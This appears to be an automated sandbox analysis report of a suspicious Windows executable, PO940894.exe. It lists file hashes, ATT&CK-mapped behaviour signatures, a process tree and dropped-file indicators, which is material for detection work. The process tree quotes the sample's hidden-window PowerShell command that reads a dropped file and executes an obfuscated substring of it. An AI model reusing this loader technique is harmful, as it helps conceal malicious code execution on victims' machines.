Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-09-2024 16:12

General

  • Target

    PO940894.exe

  • Size

    613KB

  • MD5

    ed74af816d3d992bb737a5c618edeb40

  • SHA1

    88fa10ff069ca50565409920b0bc8faa8f22f72c

  • SHA256

    9624383d6ceb24015deaeac4576a474da6dc0c676d66e15dd11ec65429335bf8

  • SHA512

    38bb1cbc7b4af36325ea4f4a5426ec1a973c022b593188a7ca37330691145bb2eca052f2ef6bc34e162ee7b802e4a0e96e9d13fc813e7f6a2a4b4c62bdf9a020

  • SSDEEP

    12288:8BIJsQw0Rxx/sK2NVf8hBScYtaHQVkUlsJpuOCCT:tJsQwix5sK2/fbcYUwV1MpwCT

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PO940894.exe
    "C:\Users\Admin\AppData\Local\Temp\PO940894.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:716
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Detailprojekterede=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Afslapp.Spr';$Brutality48=$Detailprojekterede.SubString(27359,3);.$Brutality48($Detailprojekterede)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1976
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 2776
        3⤵
        • Program crash
        PID:3084
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1976 -ip 1976
    1⤵
      PID:664

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3sevxdjd.hxt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Afslapp.Spr

      Filesize

      53KB

      MD5

      aeb33d4602ef780a52c90a8abb821487

      SHA1

      701fd98c6315f873cd047597a2761dfcd575efe3

      SHA256

      4f441604d71ccbb4f52305e9f3a635902f1eda8d6d1261aaf649fcfceb20320b

      SHA512

      404aa875c03fa4aeea34104568d6517f57ef81439626c32f40c036da9a3a2484274363ddd157c1169965f8b9dfbebca11a91fcfd845e53f1b718b32e4e82ec14

    • memory/1976-9-0x00000000736D0000-0x0000000073E80000-memory.dmp

      Filesize

      7.7MB

    • memory/1976-24-0x0000000006180000-0x00000000061CC000-memory.dmp

      Filesize

      304KB

    • memory/1976-5-0x00000000736DE000-0x00000000736DF000-memory.dmp

      Filesize

      4KB

    • memory/1976-10-0x00000000051C0000-0x00000000051E2000-memory.dmp

      Filesize

      136KB

    • memory/1976-11-0x00000000058D0000-0x0000000005936000-memory.dmp

      Filesize

      408KB

    • memory/1976-12-0x0000000005B30000-0x0000000005B96000-memory.dmp

      Filesize

      408KB

    • memory/1976-7-0x00000000736D0000-0x0000000073E80000-memory.dmp

      Filesize

      7.7MB

    • memory/1976-22-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

      Filesize

      3.3MB

    • memory/1976-23-0x0000000006160000-0x000000000617E000-memory.dmp

      Filesize

      120KB

    • memory/1976-8-0x0000000005230000-0x0000000005858000-memory.dmp

      Filesize

      6.2MB

    • memory/1976-25-0x0000000007350000-0x00000000073E6000-memory.dmp

      Filesize

      600KB

    • memory/1976-26-0x0000000006690000-0x00000000066AA000-memory.dmp

      Filesize

      104KB

    • memory/1976-27-0x00000000066E0000-0x0000000006702000-memory.dmp

      Filesize

      136KB

    • memory/1976-28-0x00000000079A0000-0x0000000007F44000-memory.dmp

      Filesize

      5.6MB

    • memory/1976-6-0x0000000004BC0000-0x0000000004BF6000-memory.dmp

      Filesize

      216KB

    • memory/1976-30-0x00000000085D0000-0x0000000008C4A000-memory.dmp

      Filesize

      6.5MB

    • memory/1976-32-0x00000000736D0000-0x0000000073E80000-memory.dmp

      Filesize

      7.7MB